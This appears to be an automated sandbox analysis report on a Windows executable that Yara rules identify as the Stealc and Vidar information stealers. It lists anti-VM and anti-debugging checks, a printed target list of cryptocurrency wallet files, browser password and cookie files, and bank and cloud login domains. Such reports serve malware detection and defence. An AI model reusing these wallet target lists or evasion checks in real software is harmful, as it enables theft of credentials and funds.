Source: AFCBFIJE.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, file.exe, 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: AFCBFIJE.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: AFCBFIJE.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: AFCBFIJE.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: AFCBFIJE.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: file.exe, 00000000.00000002.2386523415.0000000001423000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: AFCBFIJE.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: AFCBFIJE.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: AFCBFIJE.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: AFCBFIJE.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: AFCBFIJE.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: AFCBFIJE.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: AFCBFIJE.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: AFCBFIJE.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: AFCBFIJE.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: AFCBFIJE.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: AFCBFIJE.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: AFCBFIJE.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: AFCBFIJE.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: AFCBFIJE.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: AFCBFIJE.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: AFCBFIJE.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: AFCBFIJE.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: AFCBFIJE.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2386523415.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: AFCBFIJE.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: AFCBFIJE.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: AFCBFIJE.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: AFCBFIJE.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: AFCBFIJE.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: AFCBFIJE.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: AFCBFIJE.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: AFCBFIJE.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-14604
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13414
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13417
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13436
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13428
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13468

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004045C0 VirtualProtect ?,00000004,00000100,00000000

0_2_004045C0

Source: C:\Users\user\Desktop\file.exe

0_2_00419860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00419750 mov eax, dword ptr fs:[00000030h]

0_2_00419750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00417850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00417850

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 2672, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00419600

Source: file.exe, file.exe, 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: /PProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00417B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00416920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00416920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00417850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00417850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00417A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00417A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2386523415.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2156334740.00000000052F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2672, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2672, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum\wallets\.
Source: file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\ElectronCash\wallets\\..*
Source: file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum\wallets\.
Source: file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\\window-state.json*B
Source: file.exe, 00000000.00000002.2386523415.000000000147B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2386523415.000000000147B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.seco
Source: file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.seco
Source: file.exe, 00000000.00000002.2386523415.000000000147B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2386523415.000000000147B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2386523415.000000000147B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystore*R
Source: file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.seco
Source: file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystore*R
Source: file.exe, 00000000.00000002.2386523415.000000000147B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Coinomi\Coinomi\wallets\\.
Source: file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.seco
Source: file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\MultiDoge\\multidoge.wallet
Source: file.exe, 00000000.00000002.2386523415.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\seed.seco\|
Source: file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystore*R
Source: file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.
Source: file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Electrum-LTC\wallets\\..*

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
